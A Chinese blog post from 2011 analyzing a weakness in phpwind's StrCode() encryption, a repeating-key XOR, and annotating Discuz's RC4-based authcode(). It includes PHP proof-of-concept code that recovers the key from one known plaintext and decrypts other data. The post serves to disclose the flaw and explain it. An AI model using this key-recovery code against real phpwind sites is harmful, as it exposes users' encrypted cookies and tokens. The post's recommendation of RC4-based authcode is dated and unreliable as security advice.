Nov 4

phpwind的加密漏洞 discuz也存在该漏洞 不指定

bkkkd , 01:46 , 开发应用 , 评论(1) , 引用(0) , 阅读(9020) , Via 本站原创 | |
今天从 @HorseLuke 里看到一个 phpcms 2008的sys_auth()函数的漏洞,现在已经更正了.而他的加密方法与phpwind的StrCode()几乎同出一彻,虽然有少许不同,但还是能很容易被破解出来.只要有一个你知道被加密的内容且超过18个字节长的内容即可破解出全部pw的加密内容.
下面是破解的方法:

<?php
$string='abcdefghijklmnopqrstuvwsyzABCDEFGHIJKLMNOPQRSTUVWSYZ123456789012';
$code=StrCode($string,'ENCODE');
$key =substr(pw_decode($code,$string),0,18);//获取最后用于加密的钥匙
var_dump(pw_decode(StrCode("timestamp\t",'ENCODE'),$key));//得到密钥后,尝试破解其它的加密内容.

/**
* 破解方法
* @param string $code 加密过后的内容
* @param string $string 原始内容
* @return 返回解密内容
**/
function pw_decode($code,$string){
  $txt = base64_decode($code);
    $len    = strlen($string);
    $key    = '';
  $txt_len=strlen($txt);
    for($i=0; $i<$txt_len; $i++){
        $k        = $i % $len;
        $key .= chr(ord($txt[$i]) ^ ord($string[$k]));
    }
    return substr($key,0,18);
}
/**
* 加密、解密字符串
*
* @global string $db_hash
* @global array $pwServer
* @param $string 待处理字符串
* @param $action 操作,ENCODE|DECODE
* @return string
*/
function StrCode($string, $action = 'ENCODE') {
  $action != 'ENCODE' && $string = base64_decode($string);
  $code = '';
  $key = substr(md5('123456'), 8, 18);
  debug(TaString::ordstring($key,'|'));

  $keyLen = strlen($key);
  $strLen = strlen($string);
  for ($i = 0; $i < $strLen; $i++) {
    $k = $i % $keyLen;
    $code .= $string[$i] ^ $key[$k];
  }
  return ($action != 'DECODE' ? base64_encode($code) : $code);
}
?>


破解原来源自: http://www.80vul.com/phpcms/phpcms_sys_auth.txt

我再研究dz的加密函数.这个原理是无法对他进行破解.下面是我对dz的authcode的分析,建议使用pw这些加密方式的同学改用dz的加密方法.我都在代码里进行的注释.

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  $ckey_length = 4;
  $key = md5($key != '' ? $key : 'abcdefg!@#$');
  $keya = md5(substr($key, 0, 16));
  $keyb = md5(substr($key, 16, 16));
  /*
   * 这里的$ckey_length?:;判断是一个骗人的算法.应该是防止某些人抄代码写上去的.(phpcms v9就是抄了这么代码)
   */
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);
  $key_length = strlen($cryptkey);//64位

  /*
   * 如果在加密时,将会添加 10个字节长度的过期时间和由hash生成的md5字符串.这个字符串很重要,会让人别人在没有hash的情况下无法破解
   */
  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  $string_length = strlen($string);

  $result = '';
  $box = range(0, 255);

  $rndkey = array();
  //将crptkey的值重复地填满$rndkey
  for($i = 0; $i <= 255; $i++) {
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);//这里都是一些扰乱视听的写法.
  }
  //将进算出$j的值与当前$i键的box值互换,从而得到新的值
  $_box=array();
  for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;//这里都是一些扰乱视听的写法.
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
  }

  $_s = array();
  for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;//这里都是一些扰乱视听的写法.
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    /*
     * 按照上面破解原理,需要得到 ($box[($box[$a] + $box[$j]) % 256]) 个的值.
     */
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  }
  if($operation == 'DECODE') {
    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
      return substr($result, 26);
    } else {
      return '';
    }
  } else {
    return $keyc.str_replace('=', '', base64_encode($result));
  }

}



昨晚太晚睡了.今天早上有点不愿起床.
早上起床后,一直在想dz的密码能不能被.按道理是还是能被破解的.只要有282位已知的原始内容,即可得到加密的钥匙.查得到282位的已知内容.相对难度较大.
点击在新窗口中浏览此图片
Tags: , , ,
horseluke
November 8, 2011 13:50
http://bbs.phpchina.com/forum.php?mod=redirect&goto=findpost&ptid=113075&pid=1452503上面的连接中,有人指出dz加密函数基于rc4算法:http://baike.baidu.com/view/904005.htm
分页: 1/1 第一页 1 最后页
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]